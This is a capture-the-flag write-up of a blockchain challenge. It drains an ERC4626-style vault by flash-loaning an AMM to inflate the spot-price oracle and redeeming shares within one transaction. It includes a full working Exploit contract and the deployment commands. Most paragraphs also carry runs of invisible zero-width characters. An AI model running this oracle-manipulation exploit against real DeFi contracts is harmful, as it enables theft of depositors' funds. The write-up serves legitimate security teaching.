← Back to Writeups
CUSTOMMediumBlockchain

Caldrin's Day Away

XESXOR9/2/20266 min read
#blockchain#custom#medium#price_oracle_manipulation#flash_loan_attack#vault_share_price_inflation#atomic_deposit_redeem#linux

Caldrin's Day Away

Platform: CACTF2026 | Category: Blockchain | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-27 | Status: Solved Techniques: price_oracle_manipulation, flash_loan_attack, vault_share_price_inflation, atomic_deposit_redeem

Summary

Task: Solidity/EVM DeFi challenge with an ERC4626-like vault that prices claim-marks off a manipulable spot AMM reserve used as an oracle. Solution: flash-loan the AMM to inflate crownReserve, recount the vault's holdings to the inflated price, and redeem shares deposited at the honest price for an inflated payout in one atomic transaction, draining the vault below the solve threshold.

Caldrin's Day Away — CACTF2026

Description

On a random morning, Caldrin Vowmark leaves his chapel desk to escape royal seals, buy bread, and enjoy a quiet walk through the market. But the quay is already restless. Sailors argue over claim-marks, merchants blame bad luck, and a smiling broker named Verrin Goldhand moves through the crowd, calming people with soft words about patience and fortune. Caldrin follows the noise to a small dockside Sharehouse, where sailors leave coin, salt, and trade goods before long voyages. In return, they receive claim-marks they can exchange when they return. Lately, a few visitors have arrived with modest bundles and come back soon after to collect far more than expected. The keepers call it luck from the sea, but Caldrin notices the same pale wax on every suspicious claim. Before he leaves, he finds one of those pale-waxed marks has been sent onward to a larger Sharehouse in the old quarter. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A set of Solidity contracts implements a dockside DeFi economy: an ERC20 (TradeToken), a constant-product AMM (DocksideMarket), a single-call flash-loan provider (GoldhandCredit), a hash-locked staticcall oracle proxy (PublicStampDesk), and an ERC4626-style vault (DocksideSharehouse). The goal is to drain the vault: Setup.isSolved() returns true when crownCoin.balanceOf(sharehouse) < 150_000e6. The vault starts with 1_000_000e6 CROWN, so more than 850_000e6 must be drained. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

The vault prices its claim-marks (shares) using recordedHoldings, and recountHoldings sets that value directly from a live AMM reserve exposed through a pre-approved oracle order. Two design flaws combine into a classic share-price inflation attack.

Vulnerable functions

DocksideSharehouse (ERC4626-like vault). State starts at recordedHoldings = 1_000_000e6, totalClaimMarks = 990_000e18 (all held by 0xBEEF):

  • leaveGoods(crownCoinAmount): reverts if a flash loan is active (goldhandCredit.activeBorrower() != 0); requires travelPurseCredit; mints claimMarks = crownCoinAmount * totalClaimMarks / recordedHoldings; pulls CROWN; increases recordedHoldings.
  • recountHoldings(stampedOrder): sets recordedHoldings = abi.decode(stampDesk.readStampedOrder(order), (uint256)) — i.e. sets holdings to the AMM's current crownReserve (the manipulable oracle).
  • redeemClaim(claimMarkAmount): pays out claimMarkAmount * recordedHoldings / totalClaimMarks CROWN. NOT guarded against an active flash loan. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

DocksideMarket (constant-product AMM), seeded 1_000_000e6 CROWN / 1_000_000e6 SALT:

  • _amountOut = amountIn * reserveOut / (reserveIn + amountIn)
  • valueCargoAsOneGood(cargo, good) = cargo * reserve / totalCargoMarks; the pre-approved oracle order uses cargo = 1_000_000e6, good = 0, so it simply returns the current crownReserve.

PublicStampDesk.readStampedOrder(order): abi-decodes (address target, bytes callData), requires keccak256(order) is in approvedReading (setup pre-approves exactly one order — the recount oracle call), then target.staticcall(callData) and returns the raw bytes. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

GoldhandCredit.borrowForOneCall(amount, data): single-call flash loan seeded with 90_000_000e6 CROWN. Transfers amount to the caller, sets activeBorrower, invokes IQuayBorrower(msg.sender).onQuayLoan(amount, data), then requires the contract's CROWN balance is fully restored.

Root cause

  1. Manipulable spot-price oracle. recountHoldings reads the AMM's instantaneous crownReserve as the vault's true holdings. A large flash loan can move that reserve arbitrarily.
  2. Asymmetric flash-loan guard. Only leaveGoods is blocked during an active loan; redeemClaim is not. An attacker can therefore deposit at the honest price and redeem at the inflated price inside a single atomic transaction. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key math

Deposit 10_000e6 CROWN at honest holdings 1_000_000e6:

claimMarks = 10_000e6 * 990_000e18 / 1_000_000e6 = 9_900e18

Dump the 90_000_000e6 loan CROWN into the AMM:

saltOut  = 90_000_000e6 * 1_000_000e6 / (1_000_000e6 + 90_000_000e6) ≈ 989_010.989e6
crownReserve after ≈ 91_000_000e6      -> recordedHoldings inflated to ~91_000_000e6

Redeem the 9_900e18 marks at the inflated holdings:

payout = 9_900e18 * ~91_000_000e6 / totalClaimMarks ≈ 900_990e6 CROWN

Sell the SALT back to reconstruct the loan (~89_999_999.999e6 CROWN) and repay 90_000_000e6. Net profit ≈ 900_990e6 CROWN. The vault, having paid the inflated redemption, drops from 1_010_000e6 (after the deposit) to ~109_010e6 < 150_000e6 → isSolved() is true. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Everything runs in a single atomic transaction via Exploit.run(), with the redemption performed inside the flash-loan callback onQuayLoan.

  1. Setup.takeTravelPurse() → mints 10_000e6 CROWN + 10_000e6 travelPurseCredit to the exploit contract.
  2. recountHoldings(order) at the honest price → recordedHoldings = 1_000_000e6.
  3. leaveGoods(10_000e6) → mints 9_900e18 claim-marks.
  4. GoldhandCredit.borrowForOneCall(90_000_000e6, ""); inside onQuayLoan:
    • trade(CROWN→SALT, full loan) pumps crownReserve to ~91_000_000e6.
    • recountHoldings(order) inflates recordedHoldings to ~91_000_000e6.
    • redeemClaim(all marks) drains ~900_990e6 CROWN from the vault.
    • trade(SALT→CROWN, all SALT) restores the AMM and reconstructs the loan CROWN.
    • crown.transfer(GoldhandCredit, 90_000_000e6) repays the loan. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit contract

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./Setup.sol";
import "./TradeToken.sol";
import "./DocksideMarket.sol";
import "./GoldhandCredit.sol";
import "./DocksideSharehouse.sol";
import "./IQuayBorrower.sol";

contract Exploit is IQuayBorrower {
    Setup public setup;
    TradeToken public crown;
    TradeToken public salt;
    DocksideMarket public market;
    GoldhandCredit public credit;
    DocksideSharehouse public sharehouse;

    bytes public order;
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    constructor(address _setup) {
        setup = Setup(_setup);
        crown = setup.crownCoin();
        salt = setup.saltGoods();
        market = setup.quayMarket();
        credit = setup.goldhandCredit();
        sharehouse = setup.sharehouse();
        order = setup.buildPublicRecountOrder();
    }

    function run() external {
        // 1. Grab the travel purse (mints 10_000e6 CROWN + purse credit to THIS contract)
        setup.takeTravelPurse();

        uint256 dep = 10_000e6;

        // 2. Recount at normal price so recordedHoldings = market crownReserve (1M)
        sharehouse.recountHoldings(order);
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

        // 3. Deposit our purse -> claim marks at normal price
        crown.approve(address(sharehouse), type(uint256).max);
        sharehouse.leaveGoods(dep);

        // 4. Flash loan to pump the oracle, then redeem inflated
        uint256 loan = 90_000_000e6;
        crown.approve(address(market), type(uint256).max);
        salt.approve(address(market), type(uint256).max);
        credit.borrowForOneCall(loan, "");
    }

    function onQuayLoan(uint256 amount, bytes calldata) external override {
        // a. Dump the whole loan into the market: crown -> salt, pumping crownReserve
        market.trade(int128(0), int128(1), amount, 0);
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

        // b. Recount -> recordedHoldings = inflated crownReserve
        sharehouse.recountHoldings(order);

        // c. Redeem all our claim marks at the inflated price -> drains sharehouse
        uint256 marks = sharehouse.claimMarks(address(this));
        sharehouse.redeemClaim(marks);

        // d. Sell all salt back to reconstruct the loan crown
        uint256 saltBal = salt.balanceOf(address(this));
        market.trade(int128(1), int128(0), saltBal, 0);

        // e. Repay the loan
        crown.transfer(address(credit), amount);
    }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Commands

Local verification with Foundry (forge 1.5.1) — the test passed and the final vault CROWN balance was 109_009_900_991 (~109_009e6) < 150_000e6:

bash
forge test -vv

Live run against the HTB-style instance (TCP handler on port 30746 provided RPC_URL, player WALLET/PRIVKEY, and SETUP address; chain id 31337). Note the forge 1.5.1 argument order: contract path first, --broadcast before --constructor-args:

bash
# Deploy the exploit against the live Setup
forge create src/Exploit.sol:Exploit \
  --rpc-url "$RPC" --private-key "$PK" \
  --broadcast --constructor-args "$SETUP"
# -> Exploit deployed at 0x41d8a3D4C05Be035C383169780fd96BaF3Bc569e
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Fire the single-transaction exploit
cast send "$EXPLOIT" "run()" --rpc-url "$RPC" --private-key "$PK"
# -> status 1 (success), tx 0xacdc99b4730e61bc2be373091a8e2d2bccbf607a0ec9c3af4e8f0580c71feac2

# Confirm the challenge is solved
cast call "$SETUP" "isSolved()(bool)" --rpc-url "$RPC"
# -> true

Handler option 3 then returned the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍